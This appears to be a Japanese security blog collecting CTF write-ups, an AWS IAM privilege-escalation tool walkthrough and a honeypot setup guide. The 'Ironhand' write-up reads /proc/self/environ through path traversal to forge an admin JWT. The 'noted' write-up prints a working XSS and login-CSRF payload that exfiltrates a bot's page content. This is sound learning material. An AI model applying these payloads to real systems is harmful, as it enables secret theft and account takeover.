ペネトレーションしのべくん

さようなら、すべてのセキュリティエンジニア

IAMの権限昇格を可視化する「PMapper」

AWSの権限昇格してますか?(挨拶)

PMapperは、指定したAWSアカウントのIAMとOrganizationsを分析して、権限昇格可能なパスを可視化してくれるツールです。NCCグループ社製。

github.com

PMapperはIAMポリシー、ユーザー、グループなどをノード、権限昇格する(できる)ノードから、されるノードへのベクトルをエッジとして、有向グラフを生成します。こんな感じ。

権限昇格できるノード--昇格方法-->権限昇格されるノード

AdministratorsAccess の他、IAMFullAccess のように、自分自身にポリシーを割り当てられるノードをAdminと位置づけ、AssumeRolePathRole によってAdminに(直接的か間接的かを問わず)なれる別のノードを探す、という感じみたいです。

実行

CloudShellを使いました。Dockerイメージもありますが、リポジトリにrequirements.txtが同梱されているのでそっちで済ませました。

$ sudo yum install -y graphviz
$ git clone https://github.com/nccgroup/PMapper.git
$ cd PMapper
$ pip3 install --user -r requirements.txt

IAMリソースの情報を収集し、グラフを作成します。

$ python3 pmapper.py graph create

以下のコマンドで概況を把握できます。ノードが40あり、うち3つがAdminに相当するようです。これだけでは権限昇格できる・されるの関係は分かりません。

$ python3 pmapper.py graph display
Graph Data for Account:  omitted
  # of Nodes:              40 (3 admins)
  # of Edges:              13
  # of Groups:             2
  # of (tracked) Policies: 90

グラフの画像ファイルを出力します。

$ python3 pmapper.py visualize
Created file ./omitted-account-id.svg

出力したファイルを、CloudShell画面右上の「Actions」から「Download file」したもの(の一部)がこちら。青がAdminノード、赤がAdminに権限昇格できるノードです。

--only-privesc オプションを付けると、権限昇格可能な組み合わせのみが残って、その手法が表示されます。

$ python3 pmapper.py visualize --only-privesc
Created file ./omitted-account-id-privesc-risks.svg

こんな感じ。

上段は「CloudFormation」とあります。赤いほうのノード(ロール)はCloudFormationスタックの作成と青いノード(ロール)をPassRoleする権限を持っているので、例えばCloudFormationでAdmin相当の権限を持ったEC2インスタンスを立てて悪いことできちゃう、ということのようです。

下段は「AssumeRole」とあります。こちらは単純に、赤いノードが青いノードを引き受けられる、ということです。

要するに、赤いロールが侵害されるとマズい、ということです。ネクストアクションとしては、IAMの設定を見直すことで改善・解消できるならそうすべきだし、そうでないなら、この赤いロールを引き受けているリソースを特定して、それらが侵害される状態になっていないかを確認する、といったところでしょうか。

おわりに

グラフ生成機能は(おそらく)AdministratorAccessなど固定的な条件のみから生成されるっぽいですが、これとは別に query サブコマンドで任意の権限を利用できるノードを列挙する機能があるようです。

github.com

その他、Organizationsの分析もできたりするみたいですが、割愛します。

PMapperをラップしたパロアルト社の「IAM-Deescalate」も併せて紹介しようと思ったんですが、PMapperだけで結構重かったので、こちらも次回にします。

github.com

SECCON CTF for Beginners 2022 Web 「Ironhand」Writeup

はじめに

ctf4bおつかれさまでした。運営の皆様もいつもありがとうございます。 IronhandのWriteupがぱっと見なかったので書きます。

score.beginners.azure.noc.seccon.jp

概要

  • ログインするとJWTが与えられる
  • IsAsminをtrueにしたJWTを持っている状態だと、flagが閲覧できる
  • 署名はappの環境変数JWT_SECRET_KEYによって行われている
  • appの/staticAPIにはディレクトリトラバーサル脆弱性があり、これを利用して/proc/self/environにアクセスし、JWT_SECRET_KEYを手に入れる

詳細

何もせずログインすると以下のような画面が表示されます。

Cookieとして付与されたJWTをデコードすると、IsAdminがfalseです。

appのコードのこの辺を読むと、このIsAdminがtrueならflagが表示される事がわかります。

if claims.IsAdmin {
    res, _ := http.Get("http://secret")
    flag, _ := ioutil.ReadAll(res.Body)
    if err := res.Body.Close(); err != nil {
        return c.String(http.StatusInternalServerError, "Internal Server Error")
    }
    return c.Render(http.StatusOK, "admin", map[string]interface{}{
        "username": claims.Username,
        "flag":     string(flag),
    })
}

同じくappのコードの以下の部分、本来ならstatic/以下のファイルを探すためのコードっぽいですが、パストラバーサルに利用できそうな気がします。Nginxの設定ファイルに見慣れないオプション(merge_slashes off;)があることも気になります。

e.GET("/static/:file", func(c echo.Context) error {
    path, _ := url.QueryUnescape(c.Param("file"))
    f, err := ioutil.ReadFile("static/" + path)
    if err != nil {
        return c.String(http.StatusNotFound, "No such file")
    }
    return c.Blob(http.StatusOK, mime.TypeByExtension(filepath.Ext(path)), []byte(f))
})

色々試してみると、以下のようにパストラバーサル脆弱性があることが分かりました。

脆弱性を利用して/proc/self/environへアクセスすることで、そのプロセスの環境変数を確認します。

JWT_SECRET_KEYが含まれています。

ここで得たJWT_SECRET_KEYを使って、IsAdminがtrueなJWTを作成します。画像のすぐ下に秘密鍵を入力するフォームがあるので、JWT_SECRET_KEYの値を入力します。「secret base64 encoded」はチェックしません。

出力されたJWTをブラウザのクッキーとして設定して更新すると、flagが表示された画面に遷移します。

PicoCTF 2022「unpackme」の復習

はじめに

タイトルのやつをやります。

https://play.picoctf.org/practice/challenge/313?category=3&originalEvent=70&page=1

私的ポイント

UPXを知らなかった。

ja.wikipedia.org

解き方

ダウンロードしたバイナリを動かしてみます。好きな数字を聞いてくる系のやつ。

$ ./unpackme-upx
What's my favorite number? 111
Sorry, that's not it!

以前記事にした問題と同じっぽいです。

shinobe179.hatenablog.com

Ghidraに投げるも、関数が全然出てこなくてよく分からない。Radareでも状況打開できず。

調べると、UPXなる実行バイナリの圧縮をするソフトウェアがあるらしいことが分かりました。しかも手元のマシンに入ってた。

$ which upx
/usr/bin/upx

展開してRadareにかけると、入力の比較対象が 0xb83cb だと分かって。

$ upx -d unpackme-upx 
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2020
UPX 3.96        Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 23rd 2020

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
   1002408 <-    379108   37.82%   linux/amd64   unpackme-upx

Unpacked 1 file.

$ r2 unpackme-ups

$ r2 unpackme-upx
 -- Here be dragons.
[0x00401c90]> aaaaaa # こんなにいらない
...
[0x00401c90]> pdf @ main
            ; DATA XREF from entry0 @ 0x401cb1
┌ 246: int main (int argc, char **argv);
│           ; var char **var_50h @ rbp-0x50
...
│           0x00401ef5      8b45c4         mov eax, dword [var_3ch]
│           0x00401ef8      3dcb830b00     cmp eax, 0xb83cb ★ここ!
│       ┌─< 0x00401efd      7543           jne 0x401f42...
[0x00401c90]> 

オシャレにワンライナーでsolveしてみる。

PicoCTF2022「noted」の復習

はじめに

PicoCTF2022のWeb問最難関「noted」、ようやくWriteupを見つけたので自分なりに噛み砕きながら復習していきます。

qiita.com

https://play.picoctf.org/practice/challenge/282?category=1&originalEvent=70&page=1

(自分で把握できた限りの)状況

  • ログイン機能を持つノートアプリ。
  • ログインした後にPOSTでノートを投稿できる。
  • /reportにURLを入力すると、pappeteerが起動してそこへアクセスする。ただし、インターネットへは出られない。以下挙動。
    • /registerにアクセスしてユーザーを作成する。
    • ノートとしてflagを投稿する。
    • 入力されたURLへアクセスする。

知らなかったこと

  • ログインページにアンチCSRFトークンが実装されていないこと
  • data:text/html, <任意のHTML> で、ブラウザに任意のHTMLを表示できること

解き方

自分のユーザーを作って、ノートとして以下のJavaScriptを投稿する。

<script>
if (opener) {
  setTimeout(() => {
    fetch("http://0.0.0.0:8080/new", {
      method: "post",
      credentials: "include",
      headers: {
        "Content-Type": "application/json",
      },
      body: JSON.stringify({
        title: "a",
        content: opener.document.body.innerHTML,
        _csrf: document.body.innerHTML.match(/name="_csrf\" value="(.*)?"/)[1]
      }),
    });
  }, 1000);
}
</script>

/reportへ行って、URLとして以下を渡す。

data:text/html, <script>
setTimeout(()=>{
  open().document.write('<form action="http://0.0.0.0:8080/login" method="post"><input name="username" value="test"><input name="password" value="test"></form><script>setTimeout(()=>{document.forms[0].submit();}, 1000);</'+'script>');
  location.href="http://0.0.0.0:8080/";
}, 1000);
</script>

すると、Pappeteerが以下のように動く。

  • /registerにアクセスしてユーザーを作成する。
  • ノートとしてflagを投稿する。
  • 入力されたURLへアクセスする。
  • 私が作ったユーザー(test / test)としてログインした、新しいウインドウができる。
  • もともとのウインドウ(親ウインドウ)は、トップへ遷移する。
  • testユーザーのトップにある、親ウインドウのコンテンツをノートとして投稿するJSが実行される。
  • 親ウインドウにはflagが表示されているので、それが新しいウインドウに投稿される。

おわりに

そもそもdata:text/htmlを知らなかったのでどうしようもなかった感はありますが、与えられた状況でできる最大限の悪いことに気がつけなければならないなーと思いました。

本当のReversing初心者がGhidraでpicoCTF 2022「Bbbbloat」をただ解く

はじめに

ただのWriteupです。

https://play.picoctf.org/practice/challenge/255?category=3&originalEvent=70&page=1

Writeup

とりあえず実行してみると好きな数字を聞かれるので、答えたら「違う、そうじゃない」とのこと。

$ ./bbbbloat
What's my favorite number? 111
Sorry, that's not it!

GDBで解こうとしたら「(No debugging symbols found in bbbbloat)」と言われてしまいました。このシンボルというのがないと、デバッグできないらしいです。

しかたがないのでGhidraで開きます。適当なプロジェクトを開いて、bbbbloatをドラッグ&ドロップしました。

左中段のSymbol Treeからentryを選択して、右のDecompileを呼んでみます。FUN_00101307という関数が最初に実行されるっぽいです。

Symbol TreeからFUN_00101307を選択してDecompileを読みます。メッセージを表示した後、21行目でlocal_480x86187を比較していることが分かります。

PythonのREPLでint(0x86187)を実行すると、549255という値が返ってきます。これをbbbbloatに渡してやると、flagが出力されます。

本当のReversing初心者がGDBでpicoCTF 2022「GDB Test Drive」をガチャガチャやる

はじめに

Reversing、というかGDBの練習がてら、picoCTF2022の「GDB Test Drive」をいじくり回しました。

https://play.picoctf.org/practice/challenge/273?category=3&originalEvent=70&page=1

よく分かる用語解説

Writeup

問題文の指示に従うだけで、flagが取れるようになっています。

### gdbmeに実行権限を付ける
$ chmod +x gdbme

### gdbmeをデバッグ対象としてGDBを起動する
$ gdb gdbme

### アセンブリの実行状況を表示する
(gdb) layout asm

### main+99(sleep処理)にブレークポイントを設定する
(gdb) break *(main+99)

### 実行開始
### ブレークポイントを設定したので、sleepが実行される直前でストップする
(gdb) run

### sleep処理をスキップして次の処理へ
### もうブレークポイントがないので、最後まで実行されてflagが表示される
(gdb) jump *(main+104)

勉強のための遠回りWriteup

静的解析

バイナリを実行せずに情報を取得します。まずはfileコマンド。x64のELF実行バイナリということが分かりました。

$ file gdbme                                                      
gdbme: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1452b4fe8090256c4ed6f7c4c7ed5b60d2124746, for GNU/Linux 3.2.0, not stripped

stringsコマンド。これでflagが出てくることもありますが、そこまで簡単ではありませんでした。

$ strings gdbme
...(特に手がかりになりそうな情報なし)

rabin2 -zは、メモリアドレスまで教えてくれるstringsというつもりで使っていますが、ちょっと違うかもしれない。

$ rabin2 -z gdbme
[Strings]
nth paddr vaddr len size section type string
――――――――――――――――――――――――――――――――――――――――――――

checksec。Pwnじゃないので必要ないと思いますが一応。

$ checksec gdbme
[*] '/home/akari/work/rev-shugyo/gdbme'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

objdumpで逆アセンブルの結果を見ます。とりあえずmain関数だけ。途中でsleepを呼んでいますね。直前のmov edi,0x186a0が引数なので、10進数に直すと100,000*1。バイナリを実行するとまず100,000秒待たされた後、rotate_encrypt関数、fputs関数、putchar関数という順番で実行されるようです。

00000000000012c7 <main>:
    12c7:       f3 0f 1e fa             endbr64 
    12cb:       55                      push   rbp
    12cc:       48 89 e5                mov    rbp,rsp
    12cf:       48 83 ec 50             sub    rsp,0x50
    12d3:       89 7d bc                mov    DWORD PTR [rbp-0x44],edi
    12d6:       48 89 75 b0             mov    QWORD PTR [rbp-0x50],rsi
    12da:       64 48 8b 04 25 28 00    mov    rax,QWORD PTR fs:0x28
    12e1:       00 00 
    12e3:       48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax
    12e7:       31 c0                   xor    eax,eax
    12e9:       48 b8 41 3a 34 40 72    movabs rax,0x4c75257240343a41
    12f0:       25 75 4c 
    12f3:       48 ba 35 62 33 46 38    movabs rdx,0x4362383846336235
    12fa:       38 62 43 
    12fd:       48 89 45 d0             mov    QWORD PTR [rbp-0x30],rax
    1301:       48 89 55 d8             mov    QWORD PTR [rbp-0x28],rdx
    1305:       48 b8 30 35 43 60 47    movabs rax,0x6030624760433530
    130c:       62 30 60 
    130f:       48 ba 68 66 34 62 66    movabs rdx,0x4e32676662346668
    1316:       67 32 4e 
    1319:       48 89 45 e0             mov    QWORD PTR [rbp-0x20],rax
    131d:       48 89 55 e8             mov    QWORD PTR [rbp-0x18],rdx
    1321:       c6 45 f0 00             mov    BYTE PTR [rbp-0x10],0x0
    1325:       bf a0 86 01 00          mov    edi,0x186a0
    132a:       e8 e1 fd ff ff          call   1110 <sleep@plt>
    132f:       48 8d 45 d0             lea    rax,[rbp-0x30]
    1333:       48 89 c6                mov    rsi,rax
    1336:       bf 00 00 00 00          mov    edi,0x0
    133b:       e8 c9 fe ff ff          call   1209 <rotate_encrypt>
    1340:       48 89 45 c8             mov    QWORD PTR [rbp-0x38],rax
    1344:       48 8b 15 c5 2c 00 00    mov    rdx,QWORD PTR [rip+0x2cc5]        # 4010 <stdout@GLIBC_2.2.5>
    134b:       48 8b 45 c8             mov    rax,QWORD PTR [rbp-0x38]
    134f:       48 89 d6                mov    rsi,rdx
    1352:       48 89 c7                mov    rdi,rax
    1355:       e8 96 fd ff ff          call   10f0 <fputs@plt>
    135a:       bf 0a 00 00 00          mov    edi,0xa
    135f:       e8 5c fd ff ff          call   10c0 <putchar@plt>
    1364:       48 8b 45 c8             mov    rax,QWORD PTR [rbp-0x38]
    1368:       48 89 c7                mov    rdi,rax
    136b:       e8 40 fd ff ff          call   10b0 <free@plt>
    1370:       b8 00 00 00 00          mov    eax,0x0
    1375:       48 8b 4d f8             mov    rcx,QWORD PTR [rbp-0x8]
    1379:       64 48 33 0c 25 28 00    xor    rcx,QWORD PTR fs:0x28
    1380:       00 00 
    1382:       74 05                   je     1389 <main+0xc2>
    1384:       e8 57 fd ff ff          call   10e0 <__stack_chk_fail@plt>
    1389:       c9                      leave  
    138a:       c3                      ret    
    138b:       0f 1f 44 00 00          nop    DWORD PTR [rax+rax*1+0x0]

TODO:readelf(これもPwnで見ればよさそう?)

動的解析

単純にバイナリを動かしてみます。案の定次の結果は表示されず。100,000秒は待っていられないので、次いきます。

$ ./gdbme                  

gdbmeに実行権限を付けた後、GDBを起動します。

$ chmod +x gdbme
$ gdb gdbme

以下のコマンドを実行すると、画面に実行状況と現在のレジスタの状態を表示してくれます。レジスタの状態は、バイナリを実行したら表示されます。

(gdb) layout asm
(gdb) layout r

このまま実行したら100,000秒待たされるので、実行を停止する箇所(ブレークポイント)を設定します。指定した位置の処理が実行される直前で止まります。ここではsleepが実行される直前で止まるように、sleep処理の位置を指定します。位置はメモリ番地でもいいし、以下のようにGDBが計算してくれた?関数内の番地でもいいです。

(gdb) b *(main+99)

すると、さっきlayout asmで表示したフィールドの、ブレークポイントを設定した位置にb+と表示されるようになりました。便利過ぎ。

ではいよいよ実行です。

(gdb) run

>が指しているのが現在位置で、ブレークポイントで処理が止まっているのが分かります。

これをこのまま実行すると100,000秒待たされます。さくっと次に行きたいので、jumpを使います。

(gdb) jump *(main+104)

すると、sleepが実行されずにその次のmain+104を処理し、そのまま最後まで実行されます。標準出力にflagが表示されています。

flagはいつ表示されるのか?

この問題のキモは「いかにしてsleepを迂回するか」ということでした。jumpを実行した時点でバイナリが最後まで実行されてしまったので、flagがどの位置の処理によって表示されたのかがよく分かりません。それを確認するために、もう一度runしてsleep処理の直前まで来ました。ここで新たにmain+116にブレークポイントを設定してからjump *(main+104)します。すると、main+116で処理が止まります。

ここから、nextiで1行ずつ、かつcallによる関数呼び出しがあった場合は関数内へ処理を移さずに、1行の処理として進めます。以下はfputsの処理が終わったところです。

putcharの処理が終わったところで、flagが表示されました。

レジスタの値を操作してsleepの時間を短くする

sleepをjumpで迂回しましたが、もう1つの方法としてsleepの引数を変えてしまうというのがあります。sleepの直前を見るとmov $0x186a0,%ediという処理があります。0x186a0が100,000であるということは前述の通りですが、これがrdiレジスタ*2を経由してsleepに引数として渡ります。どこに保存されている引数が何個目の引数として次の関数に渡されるかはアーキテクチャ毎の関数呼び出し規約によって決められていますが、あんまり詳しくないのでここでは割愛します。とりあえず画面上部のレジスタ状態を見ると、rdiに0x186a0が入っていることが分かります。

これを、以下のコマンドで0x1に書き換えてみます。

(gdb) set $rdi=0x1

書き換えたところです。rdiが0x1になっているのが分かります。

continueで処理を実行したところ、1秒の停止の後にflagが表示されました。

おわりに

以下のコマンドの使い道を学びました。GDBめちゃくちゃ便利だなと思いました。

  • run
  • continue
  • b
  • nexti
  • layout asm
  • layout r

今日の今日までlayoutを知りませんでした。一応gdb-pedaもセットアップしているのですが、そこに頼るレベルにはまだなさそうです。RevやPwnは俺TSUEEE感の湧く種目なので、精進していきます。

*1:PythonのREPLを開いて、「int(0x186a0)」する

*2:x64アーキテクチャなので、64ビットあるrdiレジスタの32ビットぶんだけを使っている状態になる

ハニーポット(WOWHoneypot)のログをスプレッドシートに入れて、データポータルで可視化してみた

はじめに

先日ツイートしたWOWHoneypotのログをスプレッドシートに流してデータポータルで可視化するというやつ、ようやっとGitHubリポジトリに公開しました。

github.com

元ツイートはこちら。

多くの方に使ってみてほしいので、READMEよりももうちょっと丁寧なセットアップ手順を書きます。後半で説明するデータポータルでの可視化までやっても、Lightsailの料金しか発生しないはずのハニーポット環境です。金曜お休みの方はもちろん、そうでない方も土日に、なんならGW中でなくてもいいのでぜひお試しください。

謝辞

今回お世話になった方々(順不同)です。おふたりとも誠にありがとうございました!

  • @morihi_soc さん
  • tokizo(id:tokizuoh)さん
    • toizoさんの旧ブログの記事をベースに最初のwatcherを実装し、公開の許可をいただきました
    • 現在はwatchdogではなくpygtailによる実装になっています

詳細な手順

GCPAPIの有効化

プロジェクトを作って、左上のハンバーガーメニューから「APIとサービス」をクリックします。

メイン画面左上の「APIとサービスの有効化」をクリックします。

検索フォームが出てくるので、「sheet」「drive」などと検索して、Google Sheets APIGoogle Drive APIをそれぞれ有効化しましょう。

次は認証情報です。左ペインの「認証情報」をクリックします。

メイン画面左上の「認証情報を作成」をクリックして、「サービス アカウント」を選択します。

サービスアカウント名やIDは任意のもので大丈夫です。ここでは「honeypot」としました。残りの設定は不要なので、「完了」ボタンをクリックします。

認証情報画面に戻ってくるので、今作ったサービスアカウントのアドレスをクリックします。

「キー」タブをクリックして、「鍵を追加」、「新しい鍵を作成」をクリックします。

キーのタイプは「JSON」にして、「作成」をクリックします。JSONファイルがダウンロードされるので、大事にとっておいてください。後で使います。

Google Workspaces:スプレッドシートの作成

スプレッドシートを作って、名前を付けます。「honeypot-log」だと後が楽ですが、私のドライブには同名のスプシがあるので「honeypot-log-sample」とします。シート名も任意のもので大丈夫ですが、こちらも「Sheet1」のままだと後が楽です。

1行目はヘッダーとして使います。デフォルトでは左から以下の値が入ります。

  • タイムスタンプ
  • 送信元IPアドレス
  • 宛先ホスト名
  • リクエストヘッドライン
  • ステータスコード
  • ルールマッチ有無(WOWHoneypotの機能です)
  • リクエスト全体
  • User-Agentヘッダーの内容
  • リクエストメソッド
  • リクエストパス
  • センサーID
  • センサーの地域

それぞれ好きな名前を付けて構いませんが、以下の手順だと楽にできると思います。

  • A1に timestamp source_ip dest_host request status_code match payload user_agent request_method request_path sensor_id sensor_region を貼り付ける
  • 右下に出てくるクリップボードアイコンをクリックして「Split to columns」をクリックする
  • セパレーターとして「Space」をクリックする

これが

こうなって

こうじゃ

スプレッドシートの共有先として、先ほど作ったサービスアカウントを編集権限で追加します。サービスアカウントのメールアドレスは、ダウンロードしたJSONファイルを開くと「client_email」というフィールドに書いてあります。

Google関連の作業は一旦これでおしまいです。

AWS

Lightsailを立てます。任意のリージョンで、Amazon Linux 2、OS Onlyで立ててください。インスタンスプランはデフォルトのもので、少なくとも私の手元では動いています。

サーバーのステータスがRunningになったら、右上のターミナルアイコンをクリックして、ターミナルを開きます。

ターミナルで以下のコマンドを順番に実行していきます。先頭の $ は含めないでください。

$ sudo yum -y update
$ sudo yum -y install git
$ git clone https://github.com/shinobe179/wowhoneypot-with-spreadsheet.git
$ cd wowhoneypot-with-spreadsheet

Vimもしくは任意のエディタで honeypot-watcher/client_secret.json を開いて、コメントを消して、GCPからダウンロードしたJSONファイルの内容をまるごとコピペしてください。

$ vim honeypot-watcher/client_secret.json

更に honeypot-watcher/config.py を開いて、中身を編集してください。現在4つのパラメータがあり、意味はそれぞれ以下の通りです。

  • sensor_id
  • sensor_region
  • book_name
  • sheet_name
    • ログを書き込むシート名。

ここまで終わったら、以下のコマンドを実行すれば自動でセットアップが進みます。Makefileというファイルに書かれている処理が実行されます。

$ sudo make

不安だったら、以下のコマンドを実行していずれも Active: active (running) と表示されていれば、ひとまずはOKです。

$ systemctl status WOWHoneypot.service
$ systemctl status honeypot-watcher.service

テスト

以下のコマンドを実行して、ログがスプレッドシートに書き込まれれば成功です。

$ curl localhost:8080

わーい。

その後

スプレッドシートへの書き出しがうまくいったら、やってみるとよさそうなこと達です。むしろ本番かもしれません。

データポータルでの可視化

Twitterで言っていた「貧乏SIEM」です。SIEMって高かったり、それなりのマシンスペックが必要だったりするので、趣味で持つにはちょっとハードルが高いです。たまたまGoogleデータポータルなるものがあることを知っていたので、「これ使ったら無料でSIEMやれるんじゃないか……?」というのが、今回の取り組みのきっかけでした。結果、うまくいってよかったです。

以降、さわりの部分だけ手順を紹介します。

手順

画面右上の「Create」をクリックし、「Data source」をクリックします。

Google Sheets」をクリックします。

自分が作ったブック名とログが書き込まれるシート名を選択したら、右上の「CONNECT」ボタンをクリックします。

各列の型を自動でマッピングしてくれます。とりあえずこのまま、右上の「CREATE REPORT」ボタンをクリックします。

「Add a Chart」からグラフを追加できます。各グラフで可視化する値やスタイルなどは、右のペインから選択できます。ガチャガチャいじってれば慣れるので、あとはあなたの感性で思い思いのグラフを描いてください。

参考までに、私のダッシュボードです。一番上には全ログ数とリージョン毎のログ数、その次の段には時系列タイムラインで時間毎のログ数を出しています。それより下は各項目の内訳をテーブルで出しています。バー付きのテーブルが見やすくて多用しています。逆に円グラフなどの視覚的・直感的なグラフは全然使っていません。文字情報を追いかけたいからですかね?

最下部には、リクエスト全体を列に持つテーブルを置いています(画像は割愛)。上のグラフやテーブルで絞り込んで、詳細はこのテーブルで見る、という感じです。

WOWHoneypotの本家リポジトリ利用

今回、WOWHoneypotのソースコードをそのままリポジトリに入れてあります。ログに記録する情報を増やす目的でWOWHoneypotのソースコードを編集しているからです。これだと本家の更新に追従できないので、慣れている方は本家をクローンしてきて、そちらを使うことをおすすめします。

github.com

GDPRについて

IPアドレスGDPRでの保護対象になるとかならないとかって話があって、WOWHoneypotにはまさにGDPR対策として、IPアドレスを全て「0.0.0.0」で記録する機能がついています。デフォルトで無効なので、各自で有効化をご検討ください。個人的にはパスやボディの内容が興味深い一方で、IPアドレスは「IPアドレスだなあ」以上も以下もない*1ので、妙なリスクを負ってまで集めることもないかなと思います。

2022-05-14追記

リポジトリ内のWOWHoneypotに、IPアドレスのSHA256ハッシュをログに記録する機能を付けました。IPアドレスそのものを知る必要はないけど、送信元の区別は付けたい、という場合に使ってみてください。ただし、ハッシュ化されていればGDPRに照らして問題ないという確証は一切ないので、その点はご了承ください。

github.com

さいごに

多くの方に興味を持っていただけたようだったので、ちょっと頑張って作ったり書いたりしました。何人かでも試してみていただけたらうれしいです。

*1:MaxMind社のGeoIPデータベースを使って地理情報と紐付けるのも一興ですが、正確性の面で否定的かつもっともな意見も散見されるので、やってないし、今後もやらないと思います